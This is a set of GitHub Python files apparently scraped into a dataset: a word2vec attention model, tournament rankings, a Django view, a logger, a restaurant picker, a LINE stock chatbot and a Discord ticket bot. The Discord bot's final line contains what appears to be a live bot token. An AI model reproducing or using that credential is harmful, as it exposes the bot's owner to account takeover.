+{"seq_id":"8579226456","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport json\n\nimport torch\nimport torch.nn as nn\nfrom nltk.corpus import gutenberg\nfrom torch.utils.data import Dataset, DataLoader\n\n# ### Get all sentences in Project Gutenberg\n\n# In[78]:\n\n\n# sents = []\n# for file in gutenberg.fileids():\n# for sent in gutenberg.sents(file):\n# sents.append(sent)\n# len(sents)\n\n\n# ### Train a word2vec model using gensim for comparison\n\n# In[80]:\n\n\n# model = gensim.models.Word2Vec(sents, size=100, window=5, min_count=1, workers=4)\n# model.save('word2vec_gensim')\n\n\n# ### Create Vocabulary for all the words in Project Gutenberg\n\n# In[81]:\n\n\n# words = []\n# for file in gutenberg.fileids():\n# for word in gutenberg.words(file):\n# words.append(word)\n# # words = list(set(words))\n# len(words)\n\n\n# In[83]:\n\n\n# fd = nltk.FreqDist(words)\n# vocab = sorted(fd, key=fd.get, reverse=True)\n# vocab[:10]\n\n\n# In[84]:\n\n\n# with open('vocab', 'wb') as f:\n# for i in range(len(vocab)):\n# f.write('{} {}\\n'.format(vocab[i], i).encode('utf-8'))\n\n\n# In[86]:\n\n\n# with open('vocab.json', 'w') as f:\n# json.dump(vocab, f)\n\n\n# In[87]:\n\n\nwith open('vocab.json', 'r') as f:\n vocab = json.load(f)\n\n\n# ###### Since we only have 2.6 million words, Skip-Gram should performs better\n\n# ### Set hyperparameters \n\n# In[3]:\n\n\nsettings = {\n 'vocab_size': len(vocab),\n 'window_size': 5,\n 'num_epochs': 100,\n 'embedding_dim': 50,\n 'batch_size': 256,\n 'num_heads': 12,\n 'dim_head': 64,\n 'learning_rate': 1e-5\n}\n\n\n# In[16]:\n\n\nclass myDataset(Dataset):\n \n def __init__(self, settings):\n self.window_size = settings['window_size']\n self.dim = settings['embedding_dim']\n # read from project gutenberg\n sents = []\n list(map(sents.extend, list(map(gutenberg.sents, gutenberg.fileids()))))\n print('\\n{} sentences fetched.'.format(len(sents)))\n # load vocabulary file\n with open('vocab.json', 'r') as f:\n vocab = json.load(f)\n print('\\n{} unique words found in corpus'.format(len(vocab)))\n self.word2id = dict((vocab[i], i) for i in range(len(vocab)))\n self.data = []\n for sent in sents:\n for i in range(len(sent)):\n try:\n context = [self.word2id[word] for word in sent[max(0, i - self.window_size):i] + sent[i+1:min(\n len(sent), i + 1 + self.window_size)]]\n target = self.word2id[sent[i]]\n while len(context) < 2*self.window_size:\n context.append(0)\n self.data.append((target, context))\n except KeyError:\n print(sent[max(0, i - self.window_size):min(len(sent), i + 1 + self.window_size)])\n print('{} pairs found for training'.format(self.__len__()))\n \n def __len__(self):\n return len(self.data)\n \n def __getitem__(self, index):\n target = torch.Tensor([self.data[index][0]])\n context = torch.Tensor(self.data[index][1])\n return target, context\n\n\n# In[17]:\n\n\ndataset = myDataset(settings)\ndataloader = DataLoader(dataset, batch_size=settings['batch_size'], shuffle=True)\n\n\n# In[62]:\n\n\nclass w2v_model(nn.Module):\n def __init__(self, settings):\n super(w2v_model, self).__init__()\n self.vocab_size = settings['vocab_size']\n self.batch_size = settings['batch_size']\n self.num_heads = settings['num_heads']\n self.dim_head = settings['dim_head']\n self.num_hidden = self.dim_head * self.num_heads\n self.seq_len = settings['window_size'] * 2\n self.embed_dim = settings['embedding_dim']\n\n self.embedding = nn.Embedding(self.vocab_size, self.embed_dim)\n# self.embedding = torch.randn([self.vocab_size, self.embed_dim], requires_grad=True)\n self.W_Q = nn.Linear(self.embed_dim, self.num_hidden)\n self.W_K = nn.Linear(self.embed_dim, self.num_hidden)\n self.W_V = nn.Linear(self.embed_dim, self.num_hidden)\n self.cos_sim = nn.CosineSimilarity(dim=-1)\n\n def attention(self, target, context):\n Q = self.W_Q(target).view(self.batch_size, self.num_heads, self.dim_head)\n W = torch.zeros([self.batch_size, self.seq_len, self.num_heads, self.num_heads])\n V = torch.zeros([self.batch_size, self.seq_len, self.num_hidden])\n \n # zero-padding\n for i in range(self.batch_size):\n K_t = self.W_K(target[i]).view(self.num_heads, self.dim_head).transpose(0,1)\n for j in range(self.seq_len):\n W[i][j] = torch.matmul(Q[i], K_t) / (self.dim_head ** 0.5)\n V[i][j] = self.W_V(target[j])\n W = nn.Softmax(dim=-1)(W)\n V = V.view(self.batch_size, self.seq_len, self.num_heads, self.dim_head)\n \n tmp = torch.matmul(W, V).view(self.batch_size, self.seq_len, self.num_hidden)\n context_vector = torch.sum(tmp, dim=1)\n target_vector = self.W_V(target).view(self.batch_size, self.num_hidden)\n return target_vector, context_vector.view(self.batch_size, self.num_hidden)\n \n def forward(self, t, c):\n target = self.embedding(t.long())\n context = self.embedding(c.long())\n v_t, v_c = self.attention(target, context)\n return v_t, v_c\n# sim = self.cos_sim(v_t, v_c)\n# return sim\n\n\n# In[76]:\n\n\nmodel = w2v_model(settings)\nlossfunc = nn.MSELoss()\noptimizer = torch.optim.SGD(model.parameters(), lr=0.01, momentum=0.9)\n\n\n# In[77]:\n\n\nfor step, (t, c) in enumerate(dataloader):\n optimizer.zero_grad()\n v_t, v_c = model(t, c)\n loss = lossfunc(v_t, v_c)\n loss.backward()\n optimizer.step()\n if step % 10 == 0:\n print(loss.data)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"ScottLiao920/WordEmbedding_Attention","sub_path":"Word2Vec_Gutenberg.py","file_name":"Word2Vec_Gutenberg.py","file_ext":"py","file_size_in_byte":5747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"70429347688","text":"#!/usr/bin/env python\nfrom __future__ import division\nfrom collections import OrderedDict\nimport KenPomeroy as KP\nimport JeffSagarin as JS\nfrom numpy.random import random #import only one function from somewhere\n\n\n# Could be St. Mary's instead of Middle Tennessee\n# Could be Liberty instead of North Carolina A&T.\nteams = {}\nteams['midwest'] = ['Louisville','North Carolina A&T','Colorado St.','Missouri',\n 'Oklahoma St.','Oregon','St. Louis','New Mexico St.',\n 'Memphis',\"St. Mary's\",'Michigan St.','Valparaiso',\n 'Creighton','Cincinnati','Duke','Albany']\n\n#Could be La Salle instead of Boise St.\nteams['west'] = ['Gonzaga','Southern','Pittsburgh','Wichita St.',\n 'Wisconsin','Mississippi','Kansas St.','La Salle',\n 'Arizona','Belmont','New Mexico','Harvard',\n 'Notre Dame','Iowa St.','Ohio St.','Iona']\n\nteams['south'] = ['Kansas','Western Kentucky','North Carolina','Villanova',\n 'Virginia Commonwealth','Akron','Michigan','South Dakota St.',\n 'UCLA','Minnesota','Florida','Northwestern St.',\n 'San Diego St.','Oklahoma','Georgetown','Florida Gulf Coast']\n\n# Could be Long Island instead of James Madison\nteams['east'] = ['Indiana','James Madison','North Carolina St.','Temple',\n 'Nevada Las Vegas','California','Syracuse','Montana',\n 'Butler','Bucknell','Marquette','Davidson',\n 'Illinois','Colorado','Miami FL','Pacific']\n\n\n# These are all listed in the same order:\n_rankings = [1,16,8,9,5,12,4,13,6,11,3,14,7,10,2,15]\nregional_rankings = {}\nfor region in teams:\n for (team,rank) in zip(teams[region],_rankings):\n regional_rankings[team] = rank + random()/10\n\nregions = {}\nfor region in teams:\n for team in teams[region]:\n regions[team] = region\nall_teams = teams['midwest'] + teams['south'] + teams['west'] + teams['east']\n\nkenpom = {}\nfor strength_type in KP.lineparts:\n kenpom[strength_type] = {}\n for team in all_teams:\n kenpom[strength_type][team] = KP.kpomdata[team][strength_type]\n\nteams['all'] = all_teams\n\nsagarin = {}\nsagarin['Rating'] = {}\nsagarin['Rank'] = {}\nfor team in all_teams:\n sagarin['Rating'][team] = JS.sagarindata[team]['Rating']\n sagarin['Rank'][team] = JS.sagarindata[team]['Rank']\n\n","repo_name":"Daniel-B-Smith/MarchMadnessMonteCarlo","sub_path":"RankingsAndStrength.py","file_name":"RankingsAndStrength.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"11184615199","text":"from django.shortcuts import render\nfrom django.http.response import HttpResponseRedirect # HttpResponse\nfrom django.urls import reverse\n\nfrom vendors.models import Vendor\n\n\ndef app(request):\n return HttpResponseRedirect(reverse('beginning'))\n\n\ndef opening(request):\n vendors = Vendor.objects.filter(is_approved=True, user__is_active=True)[:8]\n context = {\n \"title\": \"Dashboard\",\n # CSS\n \"google_fonts\": True,\n \"bootstrap\": True,\n \"bootstrap_theme\": True,\n \"icon_moon\": True,\n \"swiper\": True, # For Dropdown menu\n \"style_theme\": True,\n \"system_food_backery\": True,\n \"colors\": True,\n \"widgets\": True,\n \"responsive\": True,\n \"toast\": True,\n \"bootstrap_datepicker\": False, #\n \"bootstrap_slider\": False, #\n \"woo_commerce\": False, #\n \"pretty_photo\": False, #\n \"animate\": False, #\n \"chosen\": False, #\n \"rtl\": False, #\n # JS\n \"ajax1112\": True,\n \"counter\": True,\n \"fitvids\": True,\n \"functions\": True,\n \"message_alert\": True,\n \"growl\": False,\n \"fliters\": False,\n \"modernizer\": False,\n \"ie8and9\": False,\n \"match_height\": False,\n \"masonry\": False,\n \"skills_progress\": False,\n \"wow\": False,\n\n \"vendors\": vendors,\n }\n return render(request, \"main/home.html\", context)\n","repo_name":"abdulrahim-uj/multi_vendor_app","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39184082691","text":"import logging\nimport os\n\nclass IcetraitLogger:\n \n def __init__(self, file_name=\"icetrait.log\") -> None:\n log_dir = os.getenv(\"ICETRAIT_LOG_DIR\")\n if not log_dir:\n print(\"log directory environment variable `ICETRAIT_LOG_DIR` not set.\")\n print(f\"Creating Log directory at path {log_dir}\")\n os.mkdir(\"icetrait_logs\")\n print(f\"Log directory created at path {log_dir}\")\n if not os.path.exists(log_dir):\n print(f\"Log directory `{log_dir}` already exists\")\n os.mkdir(log_dir)\n self._log_file_path = os.path.join(log_dir, file_name)\n \n @property \n def log_path(self):\n return self._log_file_path\n","repo_name":"vibhatha/pyiceberg_substrait","sub_path":"src/icetrait/logging/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"34242775960","text":"# Michael Wu (mvw5mf) and Cesar Roucco (cr3fd)\nimport random\n\nrestaurants = [\"Sticks\", \"Yuan Ho\", \"Melting Pot\", \"East Garden\"]\nstyles = [\"Casual\", \"Chinese\", \"Fancy\", \"Chinese\"]\ncosts = [\"$\", \"$\", \"$$$\", \"$$\"]\n\ndef get_random_restaurant():\n pick = random.randint(0, 3)\n r = (restaurants[pick])\n s = (styles[pick])\n c = (costs[pick])\n return(r, s, c)\n\ndef get_restaurant_style(chosen_style):\n list_here = []\n list_cost = []\n for i in range(len(styles)):\n if styles[i] == chosen_style:\n list_here.append(restaurants[i])\n list_cost.append(costs[i])\n else:\n continue\n indexing = random.randint(0, len(list_here)-1)\n r = list_here[indexing]\n s = chosen_style\n c = list_cost[indexing]\n return(r,s,c)\n\ndef get_restaurant_cost(chosen_cost):\n list_here = []\n list_style = []\n for i in range(len(costs)):\n if costs[i] == chosen_cost:\n list_here.append(restaurants[i])\n list_style.append(styles[i])\n else:\n continue\n indexing = random.randint(0, len(list_here)-1)\n r = list_here[indexing]\n s = list_style[indexing]\n c = chosen_cost\n return(r,s,c)\n\n\nprint(\"Welcome to WahooSpoon!\")\nprint(\"1. Get a random restaurant\")\nprint(\"2. Get a random restaurant based on style\")\nprint(\"3. Get a random restaurant based on cost\")\nchoice = int(input(\"Choice?: \"))\nif choice == 1:\n r, s, c = get_random_restaurant()\nelif choice == 2:\n print(set(styles))\n style = input(\"What style would you like?: \")\n r, s, c = get_restaurant_style(style)\nelse:\n print(set(costs))\n cost = input(\"What cost would you like?: \")\n r, s, c = get_restaurant_cost(cost)\n\nprint(\"We're going to\", r, \"today! (Style:\", s, \"/ Cost:\", c, \")\")","repo_name":"michaelvwu/Introduction-to-Programming","sub_path":"Python Projects/wahoospoon.py","file_name":"wahoospoon.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"40575269952","text":"import firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\nimport requests\nfrom bs4 import BeautifulSoup\nimport time\nfrom flask import Flask, request, abort, render_template\nfrom linebot import LineBotApi, WebhookHandler\nfrom linebot.exceptions import InvalidSignatureError\nfrom linebot.models import *\n\n\n\nhelp_txt = \"\"\"\n股市聊天機器人\n\n\n目前支援的指令有:\n\n1. 查詢 搜尋該股票當日的價格 例:查詢 2330\n2. 教學 顯示教學 例:教學 \n3. 新增 新增每日收集的股票代碼 例:新增 2330 \n4. 刪除 刪除每日收集中的股票代碼 例:刪除 2330 \n5. 每日蒐集股票代碼 傳出每日收集的股票代碼 例:每日蒐集股票代碼\n\"\"\"\n\nline_bot_api = LineBotApi(\"\")\n\nhandler = WebhookHandler(\"\")\n\nuser_id = \"\"\n\n\n\nfirebase_admin.initialize_app()\ndb = firestore.client()\n\ndef yahoo_stock_crawler(stock_id):\n doc = requests.get(f\"https://tw.stock.yahoo.com/q/q?s={stock_id}\")\n html = BeautifulSoup(doc.text, 'html.parser')\n table = html.findAll(\"table\", {\"border\": 2})[0]\n data_row = table.select(\"tr\")[1].select(\"td\")\n\n return {\n \"open\": float(data_row[8].text),\n \"high\": float(data_row[9].text),\n \"low\": float(data_row[10].text),\n \"close\": float(data_row[2].text),\n \"lastClose\": float(data_row[7].text),\n \"dailyReturn\": float(data_row[2].text)/float(data_row[7].text)-1\n }\n \ndef dayfind(stock_number):\n doc = requests.get(f\"https://tw.stock.yahoo.com/q/q?s={stock_number}\")\n html = BeautifulSoup(doc.text, 'html.parser')\n tables = html.findAll(\"table\" ,{\"cellpadding\": \"1\"})\n table = tables[0]\n td = table.findAll(\"td\")\n day = td[1].text\n day=day.split(' ')\n return day[1]\n \ndef createReplyMessge(sid):\n doc = db.collection(f\"{sid}_daily_data\").document(f\"{time.strftime('%Y%m%d')}\").get()\n if doc.to_dict() == None:\n data = yahoo_stock_crawler(sid)\n else:\n data = doc.to_dict()\n\n replyCheckMessage = (\"查詢資料\\n\\n\"\n f\"開盤價:{data['open']} 元\\n\"\n f\"最高價:{data['high']} 元\\n\"\n f\"最低價:{data['low']} 元\\n\"\n f\"收盤價:{data['close']} 元\\n\"\n f\"漲幅:{ round(data['dailyReturn'] * 100, 2) }\\n\")\n\n return replyCheckMessage\n\napp = Flask(__name__) \n\n@app.route(\"/callback\", methods=['POST'])\ndef callback():\n signature = request.headers['X-Line-Signature']\n body = request.get_data(as_text=True)\n print(body)\n try:\n handler.handle(body, signature)\n except InvalidSignatureError:\n abort(400)\n return 'OK'\n\n@app.route(\"/\", methods=[\"GET\"])\ndef loby():\n return render_template(\"loby.html\")\n\n@app.route(\"/index.html\", methods=[\"GET\"]) \ndef greet():\n number = request.args.get(\"number\")\n test = db.collection(f\"{number}_daily_data\").document(f\"{time.strftime('%Y%m%d')}\").get()\n if test.to_dict() == None:\n data = yahoo_stock_crawler(number)\n day = dayfind(number)\n else:\n data = test.to_dict()\n day = time.strftime('%Y/%m/%d')\n return render_template(\"index.html\", number=number,data=data,day=day) \n \n@handler.add(MessageEvent, message=TextMessage)\ndef handle_message(event):\n if \"查詢\" in event.message.text: \n sid = event.message.text.split()[1]\n line_bot_api.reply_message(\n event.reply_token,\n TextMessage(text=createReplyMessge(sid), type=\"text\")\n )\n \n elif \"help\" in event.message.text or \"教學\" in event.message.text:\n line_bot_api.reply_message(\n event.reply_token,\n TextMessage(text=help_txt, type=\"text\")\n )\n \n elif \"新增\" in event.message.text:\n a = event.message.text.split()[1]\n test = db.collection(\"watch_list\").document(\"stocks\").get()\n test = test.to_dict()\n if a not in test[\"watch_list\"]:\n test[\"watch_list\"].append(a)\n db.collection(\"watch_list\").document(\"stocks\").set(test)\n line_bot_api.reply_message(\n event.reply_token,\n TextMessage(text=\"新增完成\", type=\"text\")\n )\n else:\n line_bot_api.reply_message(\n event.reply_token,\n TextMessage(text=\"已在每日蒐集中\", type=\"text\")\n )\n \n elif \"刪除\" in event.message.text:\n a = event.message.text.split()[1]\n test = db.collection(\"watch_list\").document(\"stocks\").get()\n test = test.to_dict()\n if a in test[\"watch_list\"]:\n test[\"watch_list\"].remove(a)\n db.collection(\"watch_list\").document(\"stocks\").set(test)\n line_bot_api.reply_message(\n event.reply_token,\n TextMessage(text=\"刪除成功\", type=\"text\")\n )\n else:\n line_bot_api.reply_message(\n event.reply_token,\n TextMessage(text=\"此代碼不在每日蒐集中喔!\", type=\"text\")\n )\n \n \n elif \"增加每日通知\" in event.message.text:\n a = event.message.text.split()[1]\n test = db.collection(\"spcial\").document(\"id\").get()\n test = test.to_dict()\n if a not in test[\"spcial_id\"]:\n test[\"spcial_id\"].append(a)\n db.collection(\"spcial\").document(\"id\").set(test)\n line_bot_api.reply_message(\n event.reply_token,\n TextMessage(text=\"新增完成\", type=\"text\")\n )\n else:\n line_bot_api.reply_message(\n event.reply_token,\n TextMessage(text=\"已在每日通知中\", type=\"text\")\n )\n \n elif \"移除每日通知\" in event.message.text:\n a = event.message.text.split()[1]\n test = db.collection(\"spcial\").document(\"id\").get()\n test = test.to_dict()\n if a in test[\"spcial_id\"]:\n test[\"spcial_id\"].remove(a)\n db.collection(\"spcial\").document(\"id\").set(test)\n line_bot_api.reply_message(\n event.reply_token,\n TextMessage(text=\"移除完成\", type=\"text\")\n )\n else:\n line_bot_api.reply_message(\n event.reply_token,\n TextMessage(text=\"此代碼不在每日通知中喔!\", type=\"text\")\n )\n \n elif \"每日蒐集股票代碼\" in event.message.text:\n test = db.collection(\"watch_list\").document(\"stocks\").get()\n test = test.to_dict()\n for i in test[\"watch_list\"]:\n line_bot_api.push_message(user_id, TextSendMessage(text=i))\n \nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"georgeouo/stock_crawer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"2237925366","text":"import asyncio\r\nimport discord\r\nfrom discord.ext import commands\r\nimport json\r\nfrom discord_components import DiscordComponents, Button, ButtonStyle\r\n\r\nbot = commands.Bot(command_prefix = 'dm!',intents = discord.Intents.all())\r\n\r\nCOLOR = discord.Color.from_rgb(80, 133, 81)\r\n\r\n@bot.event\r\nasync def on_ready():\r\n DiscordComponents(bot)\r\n print('---------- SERVER HAS STARTED ---------')\r\n\r\n@bot.event\r\nasync def on_button_click(interaction):\r\n with open('Tickets.json') as f:\r\n tickets = json.load(f)\r\n \r\n id = str(interaction.channel.id)\r\n \r\n if interaction.component.label.startswith(\"📌 Claim/Unclaim\"):\r\n channel = interaction.channel\r\n if id in tickets:\r\n if tickets[id]['Owner'] == 'NONE':\r\n tickets[id]['Owner'] = interaction.author.id\r\n with open('Tickets.json','w') as f: \r\n json.dump(tickets,f,indent = 3)\r\n\r\n role = discord.utils.get(interaction.guild.roles,name = 'Admins')\r\n if interaction.author.guild_permissions.administrator:\r\n pass\r\n\r\n elif not role in interaction.author.roles:\r\n await interaction.respond(type = \"4\", content = \":warning: You don't have enough permissions to CLAIM this ticket.\")\r\n return\r\n\r\n overwrites = {\r\n role:discord.PermissionOverwrite(read_messages = False,send_messages = False),\r\n interaction.guild.default_role: discord.PermissionOverwrite(read_messages=False),\r\n interaction.guild.me: discord.PermissionOverwrite(read_messages=True,send_messages = True),\r\n interaction.author: discord.PermissionOverwrite(read_messages=True,send_messages = True)\r\n }\r\n await interaction.channel.edit(overwrites = overwrites)\r\n msg = f'This ticket was claimed by {interaction.author.mention}'\r\n embed = discord.Embed(title = 'Ticket Claimed',color = COLOR,description = msg)\r\n embed.set_footer(text = 'Dodo Mail | ©️ 2021 | www.thelandofark.com',icon_url='https://i.imgur.com/hODYmHU.png')\r\n embed.set_thumbnail(url = 'https://i.imgur.com/ZovNveV.png')\r\n await interaction.channel.send(embed = embed)\r\n await interaction.respond(type='7')\r\n\r\n elif tickets[id]['Owner'] == interaction.author.id:\r\n await channel.send(':white_check_mark: You have left the TICKET.')\r\n role = discord.utils.get(interaction.guild.roles,name = 'Admins')\r\n overwrites = {\r\n role:discord.PermissionOverwrite(read_messages = True,send_messages = True),\r\n interaction.author: discord.PermissionOverwrite(read_messages=False,send_messages = False)\r\n }\r\n await interaction.channel.edit(overwrites = overwrites)\r\n tickets[id]['Owner'] = 'NONE'\r\n with open('Tickets.json','w') as f: \r\n json.dump(tickets,f,indent = 3)\r\n \r\n msg = f'This ticket was unclaimed by {interaction.author.mention}'\r\n embed = discord.Embed(title = 'Ticket Unclaimed',color = 0xfcff57,description = msg)\r\n embed.set_footer(text = 'Dodo Mail | ©️ 2021 | www.thelandofark.com',icon_url='https://i.imgur.com/hODYmHU.png')\r\n embed.set_thumbnail(url = 'https://i.imgur.com/ZovNveV.png')\r\n await interaction.channel.send(embed = embed)\r\n await interaction.respond(type='7')\r\n\r\n else:\r\n await interaction.respond(type='4', content=':warning: This ticket is already claimed by someone else.')\r\n \r\n elif interaction.component.label.startswith(\"🔒 Close\"):\r\n msg = f\"{interaction.author.mention}, Are you sure you would like to close this ticket?\"\r\n embed = discord.Embed(title = 'Close Ticket',color = COLOR,description = msg)\r\n embed.set_footer(text = 'Dodo Mail | ©️ 2021 | www.thelandofark.com',icon_url='https://i.imgur.com/hODYmHU.png')\r\n embed.set_thumbnail(url = 'https://i.imgur.com/ZovNveV.png')\r\n await interaction.respond(embed = embed, components = [[Button(style=ButtonStyle.red, label='Close'),Button(style=ButtonStyle.grey, label=\"Cancel\", custom_id=\"button\")]])\r\n try:\r\n \r\n res = await bot.wait_for(\"button_click\",timeout = 20)\r\n if res.component.label == 'Close':\r\n await res.respond(type='7')\r\n author = await bot.fetch_user(int(tickets[id]['Creator']))\r\n\r\n import chat_exporter\r\n file = await chat_exporter.quick_export(interaction)\r\n await author.send(file = file) \r\n for channels in interaction.channel.category.channels:\r\n if 'transcript' in channels.name:\r\n ch = channels\r\n break\r\n\r\n embed = discord.Embed(color = COLOR,description = f'Transcript sent to {interaction.author.mention}')\r\n await interaction.channel.send(embed = embed)\r\n embed = discord.Embed(color = COLOR,description = f'Transcript sent to {ch.mention}')\r\n await interaction.channel.send(embed = embed)\r\n\r\n file = await chat_exporter.quick_export(interaction)\r\n await ch.send(file = file)\r\n\r\n embed = discord.Embed(color = COLOR,description = 'This ticket has been CLOSED.')\r\n embed.set_footer(text = 'Dodo Mail | ©️ 2021 | www.thelandofark.com',icon_url='https://i.imgur.com/hODYmHU.png')\r\n embed.set_thumbnail(url = 'https://i.imgur.com/ZovNveV.png')\r\n await interaction.channel.send(embed = embed)\r\n msg = f\"{interaction.author.mention} I've really enjoyed talking with you. If you need support again feel free to open a new ticket.\"\r\n embed = discord.Embed(color = COLOR,title = 'Ticket Closed',description = msg)\r\n embed.set_footer(text = 'Dodo Mail | ©️ 2021 | www.thelandofark.com',icon_url='https://i.imgur.com/hODYmHU.png')\r\n embed.set_image(url = 'https://i.imgur.com/Wfsj20u.png')\r\n\r\n await author.send(embed = embed) \r\n\r\n else:\r\n await res.respond(type='4', content = 'Request Cancelled!')\r\n return\r\n\r\n except asyncio.TimeoutError:\r\n await interaction.channel.send(type='4', content = ':warning: Request Timed-Out')\r\n\r\n@bot.command(description = 'INFO: Setup the ticket in a channel.\\n Takes a channel which is used to fetch the CATEGORY.')\r\nasync def setup(ctx,channel:discord.TextChannel = None):\r\n if not channel:\r\n await ctx.send(':information_source: Usage: !setupticket `<#CHANNEL>` (USED TO FETCH THE CATEGORY)')\r\n return\r\n\r\n with open('Database.json') as f:\r\n data = json.load(f)\r\n \r\n category = str(channel.category.id)\r\n data[category] = {}\r\n\r\n def check(m):\r\n return m.author == ctx.author and m.channel.id == ctx.channel.id\r\n \r\n await ctx.send('1: Enter the Ticket Title')\r\n name = await bot.wait_for('message',check = check, timeout = 40)\r\n name = name.content\r\n\r\n await ctx.send('2: Enter the Ticket Description')\r\n description = await bot.wait_for('message',check = check, timeout = 40)\r\n description = description.content\r\n\r\n await ctx.send('3: Enter the Ticket Emoji')\r\n emoji = await bot.wait_for('message',check = check, timeout = 40)\r\n emoji = emoji.content\r\n\r\n data[category]['Name'] = name\r\n data[category]['Description'] = description\r\n data[category]['Emoji'] = emoji\r\n\r\n with open('Database.json','w') as f:\r\n json.dump(data,f,indent = 3)\r\n\r\n embed = discord.Embed(title = name,color = COLOR,description = description)\r\n embed.set_thumbnail(url = 'https://i.imgur.com/ZovNveV.png')\r\n embed.set_footer(text = 'Dodo Mail | ©️ 2021 | www.thelandofark.com',icon_url='https://i.imgur.com/hODYmHU.png')\r\n msg = await ctx.send(embed = embed)\r\n await msg.add_reaction(emoji)\r\n await ctx.message.add_reaction('✅')\r\n\r\n@bot.command(description = 'INFO: Add a user to a Ticket')\r\nasync def add(ctx,user:discord.Member = None):\r\n if not user:\r\n await ctx.send(':information_source: !add `<@user>`')\r\n return\r\n\r\n with open('Tickets.json') as f:\r\n tickets = json.load(f)\r\n \r\n id = str(ctx.channel.id)\r\n\r\n if id in tickets:\r\n if tickets[id]['Owner'] == ctx.author.id:\r\n await ctx.send(f':white_check_mark: You have added {user} in the Ticket.')\r\n overwrites = {\r\n user: discord.PermissionOverwrite(read_messages=True,send_messages = True)\r\n }\r\n await ctx.channel.edit(overwrites = overwrites)\r\n\r\n else:\r\n await ctx.send('This ticket is not claimed by you.')\r\n\r\n else:\r\n await ctx.send('Invalid Ticket Channel.')\r\n \r\n ctx.message.delete()\r\n\r\n@bot.command(description = 'INFO: Removes the user from a Ticket')\r\nasync def remove(ctx,user:discord.Member = None):\r\n if not user:\r\n await ctx.send(':information_source: !remove `<@user>`')\r\n return\r\n\r\n with open('Tickets.json') as f:\r\n tickets = json.load(f)\r\n \r\n id = str(ctx.channel.id)\r\n\r\n if id in tickets:\r\n if tickets[id]['Owner'] == ctx.author.id:\r\n await ctx.send(f':white_check_mark: You have removed {user} from the Ticket.')\r\n overwrites = {\r\n user: discord.PermissionOverwrite(read_messages=False,send_messages = False)\r\n }\r\n await ctx.channel.edit(overwrites = overwrites)\r\n\r\n else:\r\n await ctx.send('This ticket is not claimed by you.')\r\n\r\n else:\r\n await ctx.send('Invalid Ticket Channel.')\r\n \r\n ctx.message.delete()\r\n\r\n@bot.event\r\nasync def on_raw_reaction_add(payload):\r\n channel = await bot.fetch_channel(payload.channel_id)\r\n guild = channel.guild\r\n member = channel.guild.get_member(int(payload.user_id))\r\n if member == bot.user:\r\n return\r\n\r\n emoji = payload.emoji\r\n emoji = str(emoji)\r\n with open('Tickets.json') as f:\r\n tickets = json.load(f)\r\n \r\n with open('Database.json') as f:\r\n database = json.load(f)\r\n\r\n msg = await channel.fetch_message(payload.message_id)\r\n await msg.remove_reaction(emoji,member)\r\n\r\n id1 = str(channel.category.id)\r\n if id1 in database:\r\n if emoji == database[id1]['Emoji']:\r\n role = discord.utils.get(guild.roles,name = 'Admins')\r\n overwrites = {\r\n guild.default_role: discord.PermissionOverwrite(read_messages=False),\r\n role:discord.PermissionOverwrite(read_messages = True,send_messages = True),\r\n guild.me: discord.PermissionOverwrite(read_messages=True,send_messages = True),\r\n member: discord.PermissionOverwrite(read_messages=True,send_messages = True)\r\n }\r\n category = discord.utils.get(guild.categories,id = int(id1))\r\n print(category)\r\n channel = await guild.create_text_channel(f'ticket-{member.name}', overwrites=overwrites,category = category)\r\n \r\n msg = f\"Hi there {member.mention} Our {role.mention} have been notified of this Ticket and will be with you as soon as they can.\\n**__Want to the close the ticket??__**\\nPress the :lock: emoji.\"\r\n embed = discord.Embed(title = \"__GENERAL SUPPORT TICKET__\",color = COLOR,description = msg)\r\n embed.set_footer(text = 'Dodo Mail | ©️ 2021 | www.thelandofark.com',icon_url='https://i.imgur.com/hODYmHU.png')\r\n embed.set_thumbnail(url = 'https://i.imgur.com/ZovNveV.png')\r\n await channel.send(embed = embed, components = [[Button(style=ButtonStyle.grey, label='📌 Claim/Unclaim'),Button(style=ButtonStyle.grey, label=\"🔒 Close\", custom_id=\"button\")]])\r\n tickets[str(channel.id)] = {}\r\n tickets[str(channel.id)]['Owner'] = 'NONE'\r\n tickets[str(channel.id)]['Creator'] = member.id\r\n with open('Tickets.json','w') as f:\r\n json.dump(tickets,f,indent = 3)\r\n \r\n msg = f\"Hi there {member.mention}, a Ticket has been created in the {channel.mention} channel. Please visit the ticket and explain the reason for opening it.\"\r\n embed = discord.Embed(title = 'Ticket Created',description = msg,color = COLOR)\r\n embed.set_footer(text = 'Dodo Mail | ©️ 2021 | www.thelandofark.com',icon_url='https://i.imgur.com/hODYmHU.png')\r\n embed.set_thumbnail(url = 'https://i.imgur.com/ZovNveV.png')\r\n await member.send(embed = embed)\r\n\r\nbot.run('ODgxOTM0NTAxNjM3NDIzMTc0.YS0Dgg.6F3BSKqp7IXg4W92hOJY9m1m0Bs')\r\n","repo_name":"karansharma002/Discord","sub_path":"Discord Tickets/Tickets.py","file_name":"Tickets.py","file_ext":"py","file_size_in_byte":12966,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
